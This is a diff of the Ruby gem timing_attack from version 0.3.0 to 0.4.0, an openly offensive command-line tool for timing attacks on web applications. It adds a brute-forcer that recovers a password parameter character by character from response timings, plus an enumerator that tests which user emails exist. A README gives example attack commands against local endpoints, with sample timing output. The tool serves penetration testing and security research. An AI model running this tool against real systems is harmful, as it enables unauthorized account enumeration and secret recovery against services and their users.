timing_attack 0.3.0 → 0.4.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 8bdfcbf107fd5fffba64e424a8cce2d85a31ee8b
4
- data.tar.gz: b6f3b3eed4f88b493e676d651c9b3a8a669c8c56
3
+ metadata.gz: f4aa7a2b7ae3b9a7bf2b6d39d586d3484aa83d7e
4
+ data.tar.gz: 3432f10030dbb838b9ff224d4c7942f8fb82392a
5
5
  SHA512:
6
- metadata.gz: 663c64fb49012a9ba42836eecc1a4974983a65c578599ad71c6e7fb43654e855503f5d2dc8dd0469ca2916eb01e10935463ad32899e6be78eddee58b74085918
7
- data.tar.gz: 1411e2f1eb5f1e565314ad20c9eeee2258b530fc2c87686fde4df078ec6bc52d85573637aca5f6efa8587f29f2dfab5cb011c385cb88fb360d4cbdc809a35b5f
6
+ metadata.gz: 635ff7244a86461d6531034e54a607b0c91973c5d1a31631e571860b3eca132ce770753dce0973ab4d798a4aed209d9567bdaf7bca75901fa52f4dc8c94aa5fc
7
+ data.tar.gz: 0d7d00c315e3bdc7f947c4ba1294f2810a4bd901a225bdc2655e51d4807ceebc785e7d85ace2d02d442088aa5b7f14eb66e2579c97cd5fd89fa4a4dc9ba7e4f1
data/README.md CHANGED
@@ -19,7 +19,10 @@ timing_attack [options] -u <target> <inputs>
19
19
  -t, --threshold NUM Minimum threshold, in seconds, for meaningfulness (default: 0.025)
20
20
  -p, --post Use POST, not GET
21
21
  -q, --quiet Quiet mode (don't display progress bars)
22
- --percentile N Use Nth percentile for calculations (default: 3)
22
+ --brute_force Brute force mode
23
+ --parameters STR JSON hash of parameters. 'INPUT' will be replaced with the attack string
24
+ --body STR JSON of body paramets to be sent to Typhoeus. 'INPUT' will be replaced with the attack string
25
+ --percentile NUM Use NUMth percentile for calculations (default: 3)
23
26
  --mean Use mean for calculations
24
27
  --median Use median for calculations
25
28
  -v, --version Print version information
@@ -28,34 +31,51 @@ timing_attack [options] -u <target> <inputs>
28
31
 
29
32
  Note that setting concurrency too high can add significant jitter to your results. If you know that your inputs contain elements in both long and short response groups but your results are bogus, try backing off on concurrency. The default value of 15 is a good starting place for robust remote targets, but you might need to dial it back to as far as 1 (especially if you're attacking a single-threaded server)
30
33
 
31
- ### An example
34
+ For the `url`, `body`, and `parameters` options, the string `INPUT` can be included. It will be replaced with the current test string.
35
+
36
+ The `body` and `parameters` options take objects serialized with JSON.
37
+
38
+ ### Enumeration
32
39
 
33
40
  Consider that we we want to gather information from a Rails server running
34
41
  locally at `http://localhost:3000`. Let's say that we know the following:
35
42
  * `charles@poodles.com` exists in the database
36
43
  * `invalid@fake.fake` does not exist in the database
37
44
 
38
- And we want to know if `candidate@address.com` and `other@address.com` exist in
45
+ And we want to know if `bactrian@dev.null` and `alpaca@dev.null` exist in
39
46
  the database.
40
47
 
41
48
  We execute (using `-q` to suppress the progress bar)
42
49
  ```bash
43
- % timing_attack -q -u http://localhost:3000/login \
44
- candidate@address.com other@address.com \
50
+ % timing_attack -q -u 'http://localhost:3000/timing/conditional_hashing?login=INPUT&password=123' \
51
+ bactrian@dev.null alpaca@dev.null \
45
52
  charles@poodles.com invalid@fake.fake
46
53
  ```
47
54
  ```
48
55
  Short tests:
49
- other@address.com 0.0926
50
- invalid@fake.fake 0.0947
56
+ invalid@fake.fake 0.0031
57
+ alpaca@dev.null 0.0033
51
58
  Long tests:
52
- candidate@address.com 0.1708
53
- charles@poodles.com 0.1823
59
+ bactrian@dev.null 0.1037
60
+ charles@poodles.com 0.1040
54
61
  ```
55
62
 
56
63
  Note that you don't need to know anything about the database when attacking. It
57
64
  is, however, nice to have a bit of information as a sanity check.
58
65
 
66
+ ### Brute Forcing
67
+
68
+ Consider that we know the endpoint
69
+ `http://localhost:3000/timing/string_comparison` is vulnerable to a timing
70
+ attack due to an early return in string comparison. We can attack it with
71
+ ```bash
72
+ timing_attack -u http://localhost:3000/timing/string_comparison \
73
+ --parameters '{"password":"INPUT"}' \
74
+ --brute_force
75
+ ```
76
+ This will attempt a brute-force timing attack against against the `password`
77
+ parameter.
78
+
59
79
  ## How it works
60
80
 
61
81
  The various inputs are each thrown at the endpoint `--number` times. The
@@ -81,14 +101,11 @@ Bug reports and pull requests are welcome [here](https://github.com/ffleming/tim
81
101
 
82
102
  ## Disclaimer
83
103
 
84
- TimingAttack is quick and dirty.
104
+ timing_attack is quick and dirty.
85
105
 
86
- Also, don't use TimingAttack against machines that aren't yours.
106
+ Also, don't use timing_attack against machines that aren't yours.
87
107
 
88
108
  ## Todo
89
109
  * Tests
90
110
  * More intelligent filtering than nth-percentile + spike detection
91
111
  * CW&R's box test
92
- * Customizable query parameters
93
- * Threading for requests?
94
- * Custom or just use Typhoeus
data/exe/timing_attack CHANGED
@@ -1,6 +1,5 @@
1
1
  #!/usr/bin/env ruby
2
2
  require 'timing_attack'
3
- require 'optparse'
4
3
 
5
4
  options = {}
6
5
  opt_parser = OptionParser.new do |opts|
@@ -18,7 +17,14 @@ opt_parser = OptionParser.new do |opts|
18
17
  end
19
18
  opts.on("-p", "--post", "Use POST, not GET") { |bool| options[:method] = bool ? :post : :get }
20
19
  opts.on("-q", "--quiet", "Quiet mode (don't display progress bars)") { |bool| options[:verbose] = !bool }
21
- opts.on("--percentile N", "Use Nth percentile for calculations (default: 3)") { |num| options[:percentile] = num.to_i }
20
+ opts.on("--brute_force", "Brute force mode") { |bool| options[:brute_force] = bool }
21
+ opts.on("--parameters STR", "JSON hash of parameters. 'INPUT' will be replaced with the attack string") do |str|
22
+ options[:params] = JSON.parse(str)
23
+ end
24
+ opts.on("--body STR", "JSON of body paramets to be sent to Typhoeus. 'INPUT' will be replaced with the attack string") do |str|
25
+ options[:body] = JSON.parse(str)
26
+ end
27
+ opts.on("--percentile NUM", "Use NUMth percentile for calculations (default: 3)") { |num| options[:percentile] = num.to_i }
22
28
  opts.on("--mean", "Use mean for calculations") { |bool| options[:mean] = bool }
23
29
  opts.on("--median", "Use median for calculations") { |bool| options[:median] = bool }
24
30
  opts.on_tail("-v", "--version", "Print version information") do
@@ -46,10 +52,17 @@ elsif options[:mean]
46
52
  end
47
53
 
48
54
  begin
49
- atk = TimingAttack::CliAttacker.new(inputs: ARGV, options: options)
55
+ atk = if options.delete(:brute_force)
56
+ TimingAttack::BruteForcer.new(options: options)
57
+ else
58
+ TimingAttack::Enumerator.new(inputs: ARGV, options: options)
59
+ end
50
60
  atk.run!
51
61
  rescue ArgumentError => e
52
62
  STDERR.puts e.message
53
63
  puts opt_parser
54
64
  exit
65
+ rescue Interrupt => e
66
+ puts "\nCaught interrupt, exiting"
67
+ exit
55
68
  end
@@ -0,0 +1,35 @@
1
+ module TimingAttack
2
+ module Attacker
3
+ def run!
4
+ if verbose?
5
+ puts "Target: #{url}"
6
+ puts "Method: #{method.to_s.upcase}"
7
+ puts "Parameters: #{params.inspect}" unless params.empty?
8
+ puts "Body: #{body.inspect}" unless body.empty?
9
+ end
10
+ attack!
11
+ end
12
+
13
+ private
14
+ attr_reader :attacks, :options
15
+
16
+ %i(iterations url verbose width method mean percentile threshold concurrency params body).each do |sym|
17
+ define_method(sym) { options.fetch sym }
18
+ end
19
+ alias_method :verbose?, :verbose
20
+
21
+ def default_options
22
+ {
23
+ verbose: true,
24
+ method: :get,
25
+ iterations: 50,
26
+ mean: false,
27
+ threshold: 0.025,
28
+ percentile: 3,
29
+ concurrency: 15,
30
+ params: {},
31
+ body: {},
32
+ }.freeze
33
+ end
34
+ end
35
+ end
@@ -0,0 +1,60 @@
1
+ module TimingAttack
2
+ class BruteForcer
3
+ include TimingAttack::Attacker
4
+
5
+ def initialize(options: {})
6
+ @options = default_options.merge(options)
7
+ raise ArgumentError.new("Must provide :url key") if url.nil?
8
+ @known = ""
9
+ end
10
+
11
+ private
12
+
13
+ attr_reader :known
14
+ POTENTIAL_BYTES = (' '..'z').to_a
15
+ def attack!
16
+ while(true)
17
+ attack_byte!
18
+ end
19
+ end
20
+
21
+ def attack_byte!
22
+ @attacks = POTENTIAL_BYTES.map do |byte|
23
+ TimingAttack::TestCase.new(input: "#{known}#{byte}",
24
+ options: options)
25
+ end
26
+ run_attacks_for_single_byte!
27
+ process_attacks_for_single_byte!
28
+ end
29
+
30
+ def run_attacks_for_single_byte!
31
+ hydra = Typhoeus::Hydra.new(max_concurrency: concurrency)
32
+ iterations.times do
33
+ attacks.each do |attack|
34
+ req = attack.generate_hydra_request!
35
+ req.on_complete do |response|
36
+ print "\r#{' ' * (known.length + 4)}"
37
+ output.increment
38
+ print " '#{known}'"
39
+ end
40
+ hydra.queue req
41
+ end
42
+ end
43
+ hydra.run
44
+ end
45
+
46
+ def process_attacks_for_single_byte!
47
+ attacks.each(&:process!)
48
+ grouper = Grouper.new(attacks: attacks, group_by: { percentile: options.fetch(:percentile) })
49
+ results = grouper.long_tests.map(&:input)
50
+ if grouper.long_tests.count > 1
51
+ raise StandardError.new("Got too many possibilities: #{results.join(', ')}")
52
+ end
53
+ @known = results.first
54
+ end
55
+
56
+ def output
57
+ @output ||= TimingAttack::Spinner.new
58
+ end
59
+ end
60
+ end
@@ -1,25 +1,24 @@
1
1
  module TimingAttack
2
- class CliAttacker
2
+ class Enumerator
3
+ include TimingAttack::Attacker
4
+
3
5
  def initialize(inputs: [], options: {})
4
- @options = DEFAULT_OPTIONS.merge(options)
6
+ @inputs = inputs
7
+ @options = default_options.merge(options)
5
8
  raise ArgumentError.new("url is a required argument") unless options.has_key? :url
6
9
  raise ArgumentError.new("Need at least 2 inputs") if inputs.count < 2
7
10
  raise ArgumentError.new("Iterations can't be < 3") if iterations < 3
8
- unless @options.has_key? :width
9
- @options[:width] = inputs.dup.map(&:length).push(30).sort.last
10
- end
11
11
  @attacks = inputs.map { |input| TestCase.new(input: input, options: @options) }
12
12
  end
13
13
 
14
14
  def run!
15
- puts "Target: #{url}" if verbose?
16
- attack!
17
- puts report
15
+ super
16
+ puts report
18
17
  end
19
18
 
20
19
  private
21
20
 
22
- attr_reader :attacks, :options, :grouper
21
+ attr_reader :grouper, :inputs
23
22
 
24
23
  def report
25
24
  ret = ''
@@ -43,7 +42,7 @@ module TimingAttack
43
42
  attacks.each do |attack|
44
43
  req = attack.generate_hydra_request!
45
44
  req.on_complete do |response|
46
- attack_bar.increment
45
+ output.increment
47
46
  end
48
47
  hydra.queue req
49
48
  end
@@ -62,22 +61,14 @@ module TimingAttack
62
61
  @grouper = Grouper.new(attacks: attacks, group_by: group_by)
63
62
  end
64
63
 
65
- def attack_bar
64
+ def output
66
65
  return null_bar unless verbose?
67
- @attack_bar ||= ProgressBar.create(title: " Attacking".ljust(15),
66
+ @output ||= ProgressBar.create(title: " Attacking".ljust(15),
68
67
  total: iterations * attacks.length,
69
68
  format: bar_format
70
69
  )
71
70
  end
72
71
 
73
- def benchmark_bar
74
- return null_bar unless verbose?
75
- @benchmark_bar ||= ProgressBar.create(title: " Benchmarking".ljust(15),
76
- total: iterations * 2,
77
- format: bar_format
78
- )
79
- end
80
-
81
72
  def bar_format
82
73
  @bar_format ||= "%t (%E) |%B|"
83
74
  end
@@ -87,19 +78,10 @@ module TimingAttack
87
78
  @null_bar ||= @null_bar_klass.new
88
79
  end
89
80
 
90
- %i(iterations url verbose width method mean percentile threshold concurrency).each do |sym|
91
- define_method(sym) { options.fetch sym }
81
+ def default_options
82
+ super.merge(
83
+ width: inputs.dup.map(&:length).push(30).sort.last,
84
+ ).freeze
92
85
  end
93
- alias_method :verbose?, :verbose
94
-
95
- DEFAULT_OPTIONS = {
96
- verbose: false,
97
- method: :get,
98
- iterations: 50,
99
- mean: false,
100
- threshold: 0.025,
101
- percentile: 3,
102
- concurrency: 15
103
- }.freeze
104
86
  end
105
87
  end
@@ -0,0 +1,12 @@
1
+ module TimingAttack
2
+ class Spinner
3
+
4
+ STATES = %w(| / - \\)
5
+ def increment
6
+ @spinner_i ||= 0
7
+ @spinner_i += 1
8
+ print "\r #{STATES[@spinner_i % STATES.length]}"
9
+ end
10
+ end
11
+ end
12
+
@@ -1,5 +1,8 @@
1
+ require 'uri'
1
2
  module TimingAttack
2
3
  class TestCase
4
+ INPUT_FLAG = "INPUT"
5
+
3
6
  attr_reader :input
4
7
  def initialize(input: , options: {})
5
8
  @input = input
@@ -7,17 +10,21 @@ module TimingAttack
7
10
  @times = []
8
11
  @percentiles = []
9
12
  @hydra_requests = []
13
+ @url = URI.escape(
14
+ options.fetch(:url).
15
+ gsub(INPUT_FLAG, input)
16
+ )
17
+ @params = params_from(options.fetch :params, {})
18
+ @body = params_from(options.fetch :body, {})
10
19
  end
11
20
 
12
21
  def generate_hydra_request!
13
22
  req = Typhoeus::Request.new(
14
- options.fetch(:url),
23
+ url,
15
24
  method: options.fetch(:method),
16
- params: {
17
- login: input,
18
- password: "test" * 1000
19
- },
20
- followlocation: true
25
+ followlocation: true,
26
+ params: params,
27
+ body: body
21
28
  )
22
29
  @hydra_requests.push req
23
30
  req
@@ -47,6 +54,21 @@ module TimingAttack
47
54
 
48
55
  private
49
56
 
50
- attr_reader :times, :options, :percentiles
57
+ def params_from(obj)
58
+ case obj
59
+ when String
60
+ obj.gsub(INPUT_FLAG, input)
61
+ when Symbol
62
+ params_from(obj.to_s).to_sym
63
+ when Hash
64
+ Hash[obj.map {|k, v| [params_from(k), params_from(v)]}]
65
+ when Array
66
+ obj.map {|el| params_from(el) }
67
+ else
68
+ obj
69
+ end
70
+ end
71
+
72
+ attr_reader :times, :options, :percentiles, :url, :params, :body
51
73
  end
52
74
  end
@@ -1,3 +1,3 @@
1
1
  module TimingAttack
2
- VERSION = "0.3.0"
2
+ VERSION = "0.4.0"
3
3
  end
data/lib/timing_attack.rb CHANGED
@@ -1,9 +1,14 @@
1
1
  require 'typhoeus'
2
+ require 'json'
3
+ require 'optparse'
2
4
  require 'ruby-progressbar'
3
5
  require "timing_attack/version"
6
+ require "timing_attack/attacker"
7
+ require 'timing_attack/spinner'
8
+ require "timing_attack/brute_forcer"
4
9
  require "timing_attack/grouper"
5
10
  require "timing_attack/test_case"
6
- require "timing_attack/cli_attacker"
11
+ require "timing_attack/enumerator"
7
12
 
8
13
  module TimingAttack
9
14
  end
@@ -22,6 +22,7 @@ Gem::Specification.new do |spec|
22
22
  spec.add_runtime_dependency "ruby-progressbar", "~> 1.8"
23
23
  spec.add_runtime_dependency "typhoeus", "~> 1.1"
24
24
  spec.add_development_dependency "bundler", "~> 1.12"
25
+ spec.add_development_dependency "pry-byebug", "~> 3.4"
25
26
  spec.add_development_dependency "rake", "~> 10.0"
26
27
  spec.add_development_dependency "rspec", "~> 3.0"
27
28
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: timing_attack
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.0
4
+ version: 0.4.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Forrest Fleming
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain: []
11
- date: 2016-07-24 00:00:00.000000000 Z
11
+ date: 2017-02-04 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: ruby-progressbar
@@ -52,6 +52,20 @@ dependencies:
52
52
  - - "~>"
53
53
  - !ruby/object:Gem::Version
54
54
  version: '1.12'
55
+ - !ruby/object:Gem::Dependency
56
+ name: pry-byebug
57
+ requirement: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - "~>"
60
+ - !ruby/object:Gem::Version
61
+ version: '3.4'
62
+ type: :development
63
+ prerelease: false
64
+ version_requirements: !ruby/object:Gem::Requirement
65
+ requirements:
66
+ - - "~>"
67
+ - !ruby/object:Gem::Version
68
+ version: '3.4'
55
69
  - !ruby/object:Gem::Dependency
56
70
  name: rake
57
71
  requirement: !ruby/object:Gem::Requirement
@@ -99,8 +113,11 @@ files:
99
113
  - bin/setup
100
114
  - exe/timing_attack
101
115
  - lib/timing_attack.rb
102
- - lib/timing_attack/cli_attacker.rb
116
+ - lib/timing_attack/attacker.rb
117
+ - lib/timing_attack/brute_forcer.rb
118
+ - lib/timing_attack/enumerator.rb
103
119
  - lib/timing_attack/grouper.rb
120
+ - lib/timing_attack/spinner.rb
104
121
  - lib/timing_attack/test_case.rb
105
122
  - lib/timing_attack/version.rb
106
123
  - timing_attack.gemspec
@@ -124,7 +141,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
124
141
  version: '0'
125
142
  requirements: []
126
143
  rubyforge_project:
127
- rubygems_version: 2.4.8
144
+ rubygems_version: 2.5.2
128
145
  signing_key:
129
146
  specification_version: 4
130
147
  summary: Perform timing attacks against web applications